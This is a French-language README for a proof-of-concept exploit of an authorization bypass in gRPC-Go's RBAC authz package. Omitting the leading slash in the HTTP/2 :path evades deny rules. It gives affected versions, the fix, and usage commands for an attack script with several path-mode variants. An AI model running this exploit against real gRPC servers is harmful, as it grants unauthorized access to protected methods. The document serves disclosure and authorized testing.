
Contournement de la politique d'autorisation RBAC de gRPC-Go via l'absence de slash dans `:path` (Contournement d'authentification)
Contournement de la politique d'autorisation RBAC gRPC-Go via un slash manquant dans :path (Bypass d'authentification)
Le paquet authz dans google.golang.org/grpc implémente l'autorisation RBAC au niveau du SDK en utilisant des règles de refus (deny) et d'autorisation (allow) comparées au pseudo-en-tête :path. Le transport du serveur HTTP/2 stocke la valeur brute de :path provenant du client sans vérifier qu'elle commence par /. La couche de routage (handleStream) normalise le chemin avant l'envoi, mais le moteur RBAC lit la valeur pré-normalisation depuis le contexte via grpc.Method(ctx).
Les règles de refus sont écrites comme /Service/Method (avec une barre oblique initiale). Envoyer :path = "Service/Method" (sans barre oblique) fait que la règle de refus échoue lors de la comparaison du premier caractère. La règle d'autorisation par défaut s'applique et la méthode protégée s'exécute.
Tout serveur gRPC utilisant authz.NewStatic() ou authz.NewFileWatcher() avec des règles de refus est vulnérable. Un client HTTP/2 brut (Python h2, curl --http2, ou tout rédacteur de trames personnalisé) suffit pour exploiter cette vulnérabilité -- sans identifiants, sans état préalable.
Une vérification en direct contre grpc-go v1.71.0 a renvoyé le statut gRPC 0 (OK) sur une AdminMethod en liste de refus lorsque la barre oblique initiale était omise, tandis que l'appel identique avec la barre oblique canonique renvoyait le statut 7 (PermissionDenied).
Affecté : google.golang.org/grpc < v1.79.3. Corrigé dans v1.79.3 (PR #8981).
# Install the Python HTTP/2 dependency:
pip install h2
# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--service MyService --method SecretMethod
# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash
# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--path-mode double-slash --service MyService --method SecretMethod
# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
--attack-path '//MyService/SecretMethod'
# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt
--host contrôle l'hôte :authority HTTP/2 sauf si --authority est défini. --connect-host contrôle la destination TCP. Ceci est utile pour les configurations d'hôte virtuel ou de proxy inverse où l'IP accessible est différente de l'autorité du backend routé.
Le problème canonique de grpc-go est --path-mode no-slash. double-slash et custom sont des aides génériques pour les environnements où un proxy transmet une forme de chemin malformé différente au backend vulnérable.
h2 (pip install h2)authz avec des règles de refus| Fichier | Description |
|---|---|
poc.py | Python PoC -- envoie 3 appels HTTP/2 bruts (référence/attaque/contrôle) pour prouver le contournement |
README.md | Détails de la vulnérabilité, exemples d'utilisation et références |
LICENSE | Licence GPLv3 |
Ce projet est publié sous la licence GNU GPLv3.
Il est fourni pour la recherche en sécurité défensive, l'éducation et les tests autorisés. N'utilisez pas ce code contre des systèmes ou services sans autorisation explicite du propriétaire.
Une utilisation non autorisée peut violer la loi applicable. Les auteurs n'accordent pas la permission de tester des systèmes tiers et ne sont pas responsables d'une utilisation abusive.
Voir le fichier LICENSE pour les termes de garantie et de responsabilité.